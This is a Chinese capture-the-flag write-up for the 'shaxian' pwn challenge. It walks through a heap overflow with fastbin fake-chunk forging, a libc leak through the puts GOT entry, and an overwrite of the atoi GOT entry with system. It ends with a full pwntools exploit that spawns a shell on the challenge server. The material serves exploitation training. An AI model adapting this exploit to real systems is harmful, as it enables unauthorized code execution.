攻防世界PWN之shaxian題解

shaxian

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下

功能1存在溢出

free後沒有清空指針

我們先創建鏈表三個節點,程序使用的是頭插法,因此,當我們釋放的時候,第一個節點最後釋放,而當我們再申請同樣大小的塊時,由於fastbin的特性,第一個塊就先被申請回來了,這樣,我們溢出到節點2的結構體,覆蓋指針爲函數got表,就能泄露信息

  1. #頭插法建立鏈表,chunk0最後被釋放  
  2. add('10','a'#0  
  3. add('10','b'#1  
  4. add('10','c'#2  
  5. #釋放鏈表,但不清空指針  
  6. delete()  
  7. #chunk0申請回來,並且在chunk0代表的結構體鏈表鏈接上putsgot表地址,這樣我們再次show的時候就可以泄露信息  
  8. payload = 'a'*0x20 + p32(puts_got-0x4)  
  9. #prev_size size fd  
  10. payload += p32(0) + p32(0x31) + p32(ptr-0x10) #chunk1  
  11. add('10',payload)  

然後,我們show,就能泄露信息了

  1. show()  
  2. sh.recvuntil('* 10\n')  
  3. puts_addr = u32(sh.recv(4))  
  4. #print 'puts_addr=',hex(puts_addr)  
  5. libc = LibcSearcher('puts',puts_addr)  
  6. libc_base = puts_addr - libc.dump('puts')  
  7. system_addr = libc_base + libc.dump('system')  
  8. print 'libc_base=',hex(libc_base)  
  9. print 'system_addr=',hex(system_addr)  

接下來,我們想辦法修改atoi的got表內容爲system地址,由於fastbin特性,我們不能直接申請到atoi的got表處,因此,我們得想其他辦法。只要我們控制了dword_804B1C0這個鏈表頭指針,我們就能對指定位置進行讀寫,因此,我們只要申請到這個指針附近,就可以控制它。

因此,看到之前,我們在覆蓋節點1(chunk0)的next指針時,順便chunk1fd指針指向了ptr-0x10,因爲我們準備在這附近僞造一個大小一樣的chunk結構,就可以申請到這裏。

而這個fake_chunk,我們得事先僞好,因此在程序一開始的時候

  1. fake_chunk = p32(0) + p32(0x31)    
  2. #爲了能夠控制堆指針ptr,我們在ptr上面可控靠近區僞造一個0x31的假chunk鏈接到fastbin,然後申請到這裏即可    
  3. payload = 'd'*(0x100-0x10) + fake_chunk    
  4. sh.sendlineafter('Your Phone number:',payload)    

當我們申請到fake_chunk處時,就可以順便修改atoi的got表了,我們再重新來看看程序的插入邏輯

  1. int sub_80488AF()  
  2. {  
  3.   _DWORD *v0; // ebx  
  4.   int v2; // [esp+1Ch] [ebp-Ch]  
  5.   
  6.   v2 = dword_804B1C0;  
  7.   puts("CHI SHEN ME?");  
  8.   puts("1.Banmian");  
  9.   puts("2.Bianrou");  
  10.   puts("3.Qingtangmian");  
  11.   puts("4.Jianbao");  
  12.   puts("5.Jianjiao");  
  13.   dword_804B1C0 = (int)malloc(0x28u);  
  14.   if ( !dword_804B1C0 )  
  15.     return puts("Error");  
  16.   *(_DWORD *)(dword_804B1C0 + 36) = v2;  
  17.   sub_804865D(0, dword_804B1C0 + 4, 0x3C, 10);  
  18.   //程序執行到這時,dword_804B1C0已經變成了atoi_got  
  19.   puts("How many?");  
  20.   v0 = (_DWORD *)dword_804B1C0;  
  21.   //這句代碼。正好把*(atoi_got)處給修改了  
  22.   *v0 = sub_80486CD();  
  23.   puts("Add to GOUWUCHE");  
  24.   return dword_804B2E0++ + 1;  
  25. }  

綜上,我們完整的exp

#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./shaxian')
sh = remote('111.198.29.45',55897)
elf = ELF('./shaxian')
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
ptr = 0x804B1C0

def add(count,content):
   sh.sendlineafter('choose:','1')
   sh.sendlineafter('5.Jianjiao',content)
   sh.sendlineafter('How many?',count)

def delete():
   sh.sendlineafter('choose:','2')

def show():
   sh.sendlineafter('choose:','4')

sh.sendlineafter('Your Address:','seaase')
fake_chunk = p32(0) + p32(0x31)
#爲了能夠控制堆指針ptr,我們在ptr上面可控靠近區僞造一個0x31的假chunk鏈接到fastbin,然後申請到這裏即可
payload = 'd'*(0x100-0x10) + fake_chunk
sh.sendlineafter('Your Phone number:',payload)

#頭插法建立鏈表,chunk0最後被釋放
add('10','a') #0
add('10','b') #1
add('10','c') #2
#釋放鏈表,但不清空指針
delete()
#把chunk0申請回來,並且在chunk0代表的結構體鏈表鏈接上puts的got表地址,這樣我們再次show的時候就可以泄露信息
payload = 'a'*0x20 + p32(puts_got-0x4)
#prev_size size fd
payload += p32(0) + p32(0x31) + p32(ptr-0x10) #chunk1
add('10',payload)
show()
sh.recvuntil('* 10\n')
puts_addr = u32(sh.recv(4))
#print 'puts_addr=',hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
add('10','b') #chunk1
#申請堆塊到ptr上方的假chunk處,將ptr指針覆蓋爲atoi的got地址,同時修改atoi的got表
add(str(system_addr - 0x100000000),'dddd' + p32(atoi_got))
#getshell
sh.sendline('/bin/sh')

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章